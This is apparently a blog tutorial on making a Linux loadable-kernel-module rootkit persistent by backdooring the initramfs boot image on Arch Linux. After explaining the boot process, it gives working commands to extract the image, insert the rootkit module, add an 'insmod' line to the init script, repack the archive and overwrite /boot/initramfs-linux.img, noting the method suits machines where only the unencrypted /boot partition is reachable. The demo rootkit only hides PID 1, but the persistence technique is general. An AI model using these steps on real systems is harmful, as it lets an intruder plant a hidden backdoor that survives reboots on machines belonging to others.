Backdoor initramfs and Make Your Rootkit Persistent

In the last post I explained how to hide Linux processes with an LKM rootkit. As you might know, Linux kernel modules are not persistent; that means that you have to insert your module each time your system goes through a reboot.

“But how the heck do I have modules loaded at startup ? Is lsmod bullshitting me ?” you might be asking.

The short answer: “initramfs”

The long answer is, well, longer and needs some explanations first.

Before I explain the intricacies of how we can use initramfs to load our rootkit at startup, let’s have a look at the system boot process :

Boot process

The linux boot process can be summarized in 5 stages :

  • UEFI/BIOS: The first program that runs when you hit the power button. It ensures that the necessary hardware (keyboard, RAM…) for bootup is present, initializes the hardware and executes the boot code from the configured boot device (say your SSD or live USB)
  • The bootloader (can be GRUB as shown in the diagram, or something different) presents to the user multiple entries to choose from. Each entry is associated with a different OS or OS boot mode. Once an option is chosen, the bootloader locates the partition where the kernel is (/boot for Linux), loads the kernel in memory (eventually supply options) and then fires it up.
  • Linux sets up system functions, calls the start_kernel() function which initializes, among others, interrupts, MMU, devices…
  • Here comes initramfs. To break it down, initramfs is just a compressed archive containing the initial filesystem that will be mounted in memory (yeah, initramfs is for initial ram filesystem). At the root of this filesystem lays an executable shell script named init and whose job is to go through all the steps to mount the real filesystem (the one you have on your system right now as you read this article). In order to mount your real (final) filesystem, it should be known by the kernel (otherwise the kernel wouldn’t know how to deal with it). Since there is a s**tload of available filesystems and that Linux couldn’t possibly know all of them, these filesystems come in the form of kernel modules. Therefore, initramfs comes with kernel modules (for filesystems, device drivers and other stuff) that get inserted in the kernel in the process (if the kernel was not compiled statically).
  • Once the filesystem has been mounted, the init system (e.g systemd) takes control and launches the necessary applications/daemons to give you the greatest possible user-space experience !

If you wish to have more details about the bootup process, I recommend these awesome articles (here and here) by Gustavo Duartes. He has a lot of worthwhile and well explained articles that you might find very interesting.

** The next steps have been tested on a box with ArchLinux installed **

Now that we know how the computer boots up and that initramfs can load kernel modules, let’s see how this archive looks like. First we will decompress and dearchive initramfs :

$ mkdir /tmp/backdoored_initramfs && cd /tmp/backdoored_initramfs
$ lsinitcpio -x /boot/initramfs-linux.img
$ ls -Al
total 32
lrwxrwxrwx 1 nisay nisay     7 7 avril 10:40 bin -> usr/bin
-rw-r--r-- 1 nisay nisay  2495 7 avril 10:40 buildconfig
-rw-r--r-- 1 nisay nisay    78 7 avril 10:40 config
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 dev
drwxr-xr-x 4 nisay nisay   180 7 avril 10:40 etc
drwxr-xr-x 2 nisay nisay    80 7 avril 10:40 hooks
-rwxr-xr-x 1 nisay nisay  2093 7 avril 10:40 init
-rw-r--r-- 1 nisay nisay 13140 7 avril 10:40 init_functions
lrwxrwxrwx 1 nisay nisay     7 7 avril 10:40 lib -> usr/lib
lrwxrwxrwx 1 nisay nisay     7 7 avril 10:40 lib64 -> usr/lib
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 new_root
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 proc
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 run
lrwxrwxrwx 1 nisay nisay     7 7 avril 10:40 sbin -> usr/bin
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 sys
drwxr-xr-x 2 nisay nisay    40 7 avril 10:40 tmp
drwxr-xr-x 5 nisay nisay   140 7 avril 10:40 usr
-rw-r--r-- 1 nisay nisay     2 7 avril 10:40 VERSION

The listing shows the structure of the initial filesystem. The new_root directory is the root where your new filesystem will be mounted, and to which the init script will switch_root into.

As we said earlier, the init script is the first thing that gets launched in userspace, and we are going to take advantage of this fact to load our rootkit as early as possible. But first, we need to make our LKM module available for the init script. In this example, we’re going to use the PHide rootkit, a dummy rootkit that hides process id 1, which is perfectly fine for the sake of demo.

Compile the rootkit, and place the kernel module at the root of the initramfs archive :

$ make && cp phide.ko /tmp/backdoored_initramfs

Next, open the init script in your text editor, and scroll down to the end. Near line 70, you should see the following lines :

# this should always be the last thing we do before the switch_root

exec env -i \
    "TERM=$TERM" \
    /usr/bin/switch_root /new_root $init "$@"

switch_root changes the root of the filesystem, so we should insert our rootkit before calling it, otherwise our rootkit module that we copied at the root of the initramfs won’t be available anymore. Add this line before the comment :

insmod /phide.ko

# this should always be the last thing we do before the switch_root

This should do it. Note that the man page for switch_root states that it “moves already mounted /proc, /dev, /sys and /run to newroot”. We can also copy our rootkit module to /dev or /run in order to make it available after switch_root has been executed, but we’ll need to hook some userland scripts to actually insert our rootkit (e.g. systemd init scripts).

In case of a disk encryption, you’ll probably only have access to the /boot partition, so the first method is more suitable and we’ll stick to it.

Next, we need to reassemble the contents of our folder into an initramfs image :

$ find -mindepth 1 -printf '%P\0' | LANG=C bsdcpio -0 -o -H newc --quiet | gzip > /tmp/rk.img

The options passed to the find command may differ on your system. To find out which options to pass, refer to /usr/bin/mkinitcpio : Around line 232, you’ll see a call to the find command with the options needed to build a working initramfs for your system.

Once the backdoored initramfs image has been generated, all what is left to do is overwrite the original initramfs archive :

$ cp /tmp/rk.img /boot/initramfs-linux.img

Reboot and check the content of /proc, the folder associated with PID 1 should be gone. You can confirm that the rootkit is inserted by issuing :

$ lsmod | grep phide

And that’s it. Now your rootkit gets loaded every time you reboot your system :D